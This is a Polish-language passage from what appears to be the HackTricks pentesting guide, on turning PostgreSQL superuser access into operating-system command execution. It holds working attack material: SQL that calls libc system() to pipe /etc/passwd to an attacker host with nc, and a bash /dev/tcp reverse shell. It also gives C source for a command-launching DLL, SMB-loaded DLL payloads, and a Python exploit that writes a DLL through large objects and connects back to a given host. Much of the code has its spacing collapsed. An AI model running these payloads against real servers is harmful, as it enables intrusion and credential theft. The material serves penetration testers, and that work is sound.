Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCYJNY!
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i hacktricks-cloud.
Rozszerzenia PostgreSQL
PostgreSQL został opracowany z myślą o rozszerzalności jako podstawowej funkcji, co pozwala na bezproblemowe integrowanie rozszerzeń tak, jakby były wbudowanymi funkcjonalnościami. Te rozszerzenia, będące bibliotekami napisanymi w języku C, wzbogacają bazę danych o dodatkowe funkcje, operatory lub typy.
Od wersji 8.1 na rozszerzenia narzucone jest określone wymaganie: muszą być skompilowane z specjalnym nagłówkiem. Bez tego PostgreSQL nie będzie ich wykonywał, zapewniając tym samym użycie tylko zgodnych i potencjalnie bezpiecznych rozszerzeń.
Wykonanie poleceń systemowych z PostgreSQL w wersjach 8.1 i wcześniejszych jest procesem, który został jasno udokumentowany i jest prosty. Można to zrobić za pomocą tego: modułu Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Zapisz plik binarny z base64
Aby zapisać plik binarny do pliku w postgresie, możesz potrzebować użycia base64, oto pomocne informacje na ten temat:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Jednakże, przy próbie wykonania na wyższych wersjach wyświetlony został następujący błąd:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Aby upewnić się, że plik obiektowy ładowany dynamicznie nie jest ładowany do niezgodnego serwera, PostgreSQL sprawdza, czy plik zawiera „magiczny blok” o odpowiedniej zawartości. Pozwala to serwerowi wykryć oczywiste niezgodności, takie jak kod skompilowany dla innej głównej wersji PostgreSQL. Magiczny blok jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć magiczny blok, należy to napisać w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Od wersji PostgreSQL 8.2 proces wykorzystania systemu przez atakującego został utrudniony. Atakujący musi albo użyć biblioteki, która już jest obecna w systemie, albo przesłać niestandardową bibliotekę. Ta niestandardowa biblioteka musi być skompilowana zgodnie z główną wersją PostgreSQL i musi zawierać określony „magiczny blok”. Ta środek znacznie zwiększa trudność wykorzystania systemów PostgreSQL, ponieważ wymaga głębszego zrozumienia architektury systemu i zgodności wersji.
Skompiluj bibliotekę
Pobierz wersję PostgreSQL za pomocą:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Aby zapewnić kompatybilność, konieczne jest dopasowanie głównych wersji. Dlatego kompilacja biblioteki z dowolną wersją z serii 9.6.x powinna zagwarantować pomyślne zintegrowanie.
Następnie przesłać skompilowaną bibliotekę i wykonać polecenia za pomocą:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Możesz znaleźć tę bibliotekę skompilowaną dla różnych wersji PostgreSQL i nawet zautomatyzować ten proces (jeśli masz dostęp do PostgreSQL) za pomocą:
Następująca biblioteka DLL przyjmuje jako dane wejściowe nazwę pliku binarnego i liczbęrazy, jaką chcesz go wykonać, a następnie go wykonuje:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Możesz znaleźć skompilowany plik DLL w tym archiwum:
Możesz wskazać temu plikowi DLL który plik binarny ma zostać wykonany oraz ile razy ma być wykonany. W tym przykładzie zostanie wykonane calc.exe 2 razy:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Zauważ, że w tym przypadku złośliwy kod znajduje się w funkcji DllMain. Oznacza to, że w tym przypadku nie jest konieczne wykonanie załadowanej funkcji w postgresql, wystarczy załadować DLL, aby wykonać odwróconą powłokę:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE w najnowszych wersjach PostgreSQL
W najnowszych wersjach PostgreSQL wprowadzono ograniczenia, które zabraniają użytkownikowi superuserwczytywania plików bibliotek współdzielonych z wyjątkiem określonych katalogów, takich jak C:\Program Files\PostgreSQL\11\lib w systemach Windows lub /var/lib/postgresql/11/lib w systemach *nix. Te katalogi są zabezpieczone przed operacjami zapisu przez konta NETWORK_SERVICE lub postgres.
Mimo tych ograniczeń, zalogowany użytkownik bazy danych superuser może zapisywać pliki binarne na systemie plików za pomocą "dużych obiektów". Ta możliwość obejmuje zapisywanie w katalogu C:\Program Files\PostgreSQL\11\data, który jest niezbędny do operacji na bazie danych, takich jak aktualizacja lub tworzenie tabel.
Poważna podatność wynika z polecenia CREATE FUNCTION, które umożliwia nawigację po katalogach w katalogu danych. W rezultacie zalogowany atakujący może wykorzystać tę nawigację do zapisania pliku biblioteki współdzielonej w katalogu danych, a następnie go wczytać. Ten atak umożliwia wykonanie dowolnego kodu, osiągając wykonanie kodu natywnego na systemie.
Przebieg ataku
Przede wszystkim musisz użyć dużych obiektów do przesłania pliku DLL. Możesz zobaczyć, jak to zrobić tutaj:
Po przesłaniu rozszerzenia (o nazwie poc.dll w tym przykładzie) do katalogu danych, możesz je wczytać za pomocą:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Należy zauważyć, że nie trzeba dodawać rozszerzenia .dll, ponieważ funkcja create je automatycznie dodaje.
Aby uzyskać więcej informacji, przeczytajoryginalną publikację tutaj.
W tej publikacji ten kod został użyty do wygenerowania rozszerzenia postgrestutaj (aby dowiedzieć się, jak skompilować rozszerzenie postgres, przeczytaj jedną z poprzednich wersji).
Na tej samej stronie podano exploit do automatyzacji tej techniki:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")
Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCJI!